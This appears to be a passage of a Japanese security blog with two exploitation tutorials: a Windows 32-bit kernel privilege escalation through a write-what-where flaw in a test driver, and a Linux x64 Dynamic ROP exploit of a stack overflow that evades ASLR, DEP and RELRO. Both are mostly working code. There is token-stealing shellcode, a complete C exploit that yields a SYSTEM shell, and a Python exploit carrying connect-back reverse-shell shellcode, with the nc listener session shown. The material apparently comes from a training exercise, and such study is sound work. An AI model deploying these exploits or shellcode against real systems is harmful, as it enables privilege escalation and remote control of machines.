(snip) kd> dt _KAPC_STATE 0xb88b2740+0x070 ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY [ 0xb88b27b0 - 0xb88b27b0 ] +0x010 Process : 0xb8967280 _KPROCESS +0x014 InProgressFlags : 0 '' +0x014 KernelApcInProgress : 0y0 +0x014 SpecialApcInProgress : 0y0 +0x015 KernelApcPending : 0 '' +0x016 UserApcPending : 0 '' kd> dt _EPROCESS 0xb8967280 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x0a0 ProcessLock : _EX_PUSH_LOCK +0x0a8 CreateTime : _LARGE_INTEGER 0x01d0efb7`ca392ea0 +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : 0x00000f6c Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0xa63a8d38 - 0xb89b0d38 ] (snip) +0x0ec Token : _EX_FAST_REF (snip) kd> dt _EX_FAST_REF 0xb8967280+0x0ec ntdll!_EX_FAST_REF +0x000 Object : 0xb5589bfb Void +0x000 RefCnt : 0y011 +0x000 Value : 0xb5589bfb
上において、EPROCESS構造体のTokenメンバが指している構造体がそのプロセスの権限を表している。
また、WindowsではPID 4が常にSystemプロセスとなっている。 したがって、プロセスリストをたどり、PID 4のEPROCESS構造体のTokenメンバの値を自身のEPROCESS構造体にコピーすることで、権限昇格を行うことができる。
>tasklist Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 184 K smss.exe 260 Services 0 812 K csrss.exe 340 Services 0 2,736 K wininit.exe 392 Services 0 3,024 K csrss.exe 400 RDP-Tcp#2 1 18,624 K winlogon.exe 428 RDP-Tcp#2 1 4,760 K (snip)
上の結果をもとに、Tokenをコピーするシェルコードを書いてみると次のようになる。
; replacetoken.asm .386 .model flat, stdcall .code start: pushad assume fs:nothing mov eax, fs:[124h] ; CurrentThread mov eax, [eax+80h] ; Process add eax, 0b8h ; ActiveProcessLinks push eax search_system: mov eax, [eax] ; Flink cmp dword ptr [eax-04h], 4 ; UniqueProcessId jne search_system mov edx, [eax+34h] ; Token pop eax search_process: mov eax, [eax] ; Flink cmp dword ptr [eax-04h], 41414141h ; UniqueProcessId jne search_process mov [eax+34h], edx ; Token popad ret end start
上のコードは関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。 また、コピー先のプロセスのPIDは0x41414141と仮置きしてある。 実際にシェルコードを用いる際は、これをGetCurrentProcessId関数で取得したPIDに置き換える。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml replacetoken.asm /link /subsystem:console >dumpbin /rawdata replacetoken.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file replacetoken.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00 `d¡$..........¸. 00401010: 00 00 50 8B 00 83 78 FC 04 75 F8 8B 50 34 58 8B ..P...xü.uø.P4X. 00401020: 00 81 78 FC 41 41 41 41 75 F5 89 50 34 61 C3 ..xüAAAAuõ.P4aà Summary 1000 .text >dumpbin /rawdata replacetoken.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3
エクスプロイトコードを書いてみる
ユーザ空間で実行可能メモリを確保した後作成したシェルコードを配置し、カーネルモードからこのアドレスにジャンプさせるエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; void replacePattern(char *buffer, int size, DWORD pattern, DWORD value) { for (int i = 0; i < size; i++) { if (*(DWORD *)(buffer + i) == pattern) { *(DWORD *)(buffer + i) = value; } } } int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3"; replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId()); LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(rwxMemory, shellcode, sizeof(shellcode)); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = (DWORD)rwxMemory; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread"); KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase; arg.value = (DWORD)KeGetCurrentThread; DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); WinExec("cmd", SW_SHOWNORMAL); return 0; }
上のコードでは、NtQueryIntervalProfile関数によりシェルコードを実行させた後、WinExec関数でコマンドプロンプトを起動する。 また、他のプロセスがNtQueryIntervalProfile関数を実行した際にクラッシュしないよう、シェルコードを実行した後は書き換えたアドレスをKeGetCurrentThread関数のアドレスに書き戻している。
エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Dimitri Fourny | Driver write-what-where vulnerability
- Windows Device Driver Programming Part 2
- Introduction to Windows Kernel Exploitation – DVWD.sys | l0ca1hoSt
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 2 : Arbitrary Memory Overwrite exploitation using HalDispatchTable
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 4 : Stack-based Buffer Overflow exploitation (bypassing cookie)
- Norman Security Suite 8 - nprosec.sys Local Privilege Escalation 0day - Exploits Database
- Project Zero: One font vulnerability to rule them all #3: Windows 8.1 32-bit sandbox escape exploitation
Linux x64でDynamic ROPによるシェルコード実行をやってみる
ASLR+DEP+FullRELROが有効な環境で、Dynamic ROP(JIT-ROP)により任意のシェルコードを実行してみる。 これは、セキュリティ・キャンプ全国大会2015の講義にて行った演習に若干の修正を加えたものである。
環境
Ubuntu Server 14.04.2 64bit版
$ uname -a Linux seccamp2015-d123 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
脆弱性のあるプログラムコードを書いてみる
単純なスタックバッファオーバーフロー脆弱性のあるプログラムコードを書くと次のようになる。
/* sbof.c */ #include <stdio.h> void sbof() { char buf[16]; int bytes; bytes = read(0, buf, 400); write(1, buf, bytes); } int main(int argc, char *argv[]) { sbof(); return 0; }
ASLR、DEP、FullRELRO有効、SSP、PIE無効にてコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now sbof2.c
16バイト以上の入力でスタックバッファオーバーフローが起こることを確認してみる。
$ ./a.out AAAA AAAA $ ./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA! Segmentation fault
エクスプロイトコードを書いてみる
最初に、実行ファイルから必要となる情報を書き出しておく。
$ readelf -a a.out >dump.txt $ objdump -M intel -d a.out >>dump.txt
「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」と同様の手順にて、任意のシェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import struct from subprocess import Popen, PIPE bufsize = 16 addr_csu_init1 = 0x400636 addr_csu_init2 = 0x400620 addr_leave_ret = 0x4005bc addr_got_read = 0x601020 addr_got_write = 0x601018 addr_got_libc_start = 0x601028 addr_bss = 0x0000000000601048 addr_stage = addr_bss + 0x400 p = Popen(['./sbof2'], stdin=PIPE, stdout=PIPE) # stage 1 buf = 'A' * bufsize buf += 'AAAAAAAA' * 3 buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage, 0, 0, 0, 0) buf += struct.pack('<Q', addr_leave_ret) p.stdin.write(buf) print "> %r" % p.stdout.read(len(buf)) data = p.stdout.read(8) addr_libc_start = struct.unpack('<Q', data)[0] print "[+] addr_libc_start = %08x" % addr_libc_start # stage 2 read_bytes = 0x180000 buf = 'AAAAAAAA' buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, read_bytes, addr_libc_start, 1) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage+400, 0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage+400, 0, 0, 0, 0) buf += struct.pack('<Q', addr_leave_ret) buf += 'A' * (400-len(buf)) p.stdin.write(buf) data = p.stdout.read(read_bytes) print "[+] len(data) = %x" % len(data) # stage 3 addr_pop_rax = addr_libc_start + data.index('\x58\xc3') addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3') addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3') addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3') addr_syscall = addr_libc_start + data.index('\x0f\x05\xc3') nr_mprotect = 10 # connect-back shellcode (127.0.0.1:4444) shellcode = '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05' buf = 'AAAAAAAA' buf += struct.pack('<QQ', addr_pop_rax, nr_mprotect) buf += struct.pack('<QQ', addr_pop_rdi, addr_stage & ~0xFFF) buf += struct.pack('<QQ', addr_pop_rsi, 1024) buf += struct.pack('<QQ', addr_pop_rdx, 7) buf += struct.pack('<Q', addr_syscall) buf += struct.pack('<Q', addr_stage+400+len(buf)+8) buf += shellcode buf += 'A' * (400-len(buf)) p.stdin.write(buf) p.wait()
上のコードの内容を簡単に説明すると次のようになる。
- GOTにある__libc_start_main関数の実際のアドレスを書き出し、stack pivotを行う
- __libc_start_main関数の実際のアドレスから0x180000バイトを書き出し、stack pivotを行う
- 書き出したメモリからシステムコールを呼ぶのに必要なROP gadgetを探索し、mprotectシステムコールを実行する
- シェルコードにジャンプする
ここでは、シェルコードとして127.0.0.1:4444に対するconnect-back shellcodeを用いている。
なお、2で書き出すバイト数は、次のようにして推定できる。
$ ldd a.out linux-vdso.so.1 => (0x00007ffffea8e000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc2eada000) /lib64/ld-linux-x86-64.so.2 (0x00007fdc2eea6000) $ readelf -a /lib/x86_64-linux-gnu/libc.so.6 (snip) Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x0000000000000230 0x0000000000000230 R E 8 INTERP 0x0000000000187f30 0x0000000000187f30 0x0000000000187f30 0x000000000000001c 0x000000000000001c R 10 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000001ba014 0x00000000001ba014 R E 200000 LOAD 0x00000000001ba740 0x00000000003ba740 0x00000000003ba740 0x0000000000005160 0x0000000000009b80 RW 200000 (snip) $ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main 0000000000021dd0 T __libc_start_main $ python Python 2.7.6 (default, Jun 22 2015, 17:58:13) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> hex(0x00000000001ba014-0x0000000000021dd0) '0x198244' >>> [CTRL+D]
readelfコマンドで表示されたプログラムヘッダの内容から、先頭から0x1ba014バイトが実行可能領域としてロードされることがわかる。 また、nmコマンドの実行結果から、__libc_start_main関数は先頭から0x21dd0バイトの位置にあることがわかる。 したがって、この場合__libc_start_main関数のアドレスから書き出すことができるバイト数は最大で0x198244バイトとなる。
エクスプロイトコードを実行してみる
あらかじめバックグラウンドでtcpの4444ポートをlistenした上で、エクスプロイトコードを実行してみる。
$ nc -v -l 4444 & [1] 920 $ Listening on [0.0.0.0] (family 0, port 4444) [ENTER] $ python exploit3.py & [2] 927 $ > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x00\x00\x00AAAAAAAA6\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00(\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\x05@\x00\x00\x00\x00\x00' [+] addr_libc_start = 7fef6cfb9dd0 [+] len(data) = 180000 Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 33140) [ENTER] [1]+ Stopped nc -v -l 4444 $ fg 1 nc -v -l 4444 id uid=1000(user) gid=1000(user) groups=1000(user) exit [2]- Done python exploit.py
シェルコードが実行され、listenしていたポートからシェルが操作できることが確認できた。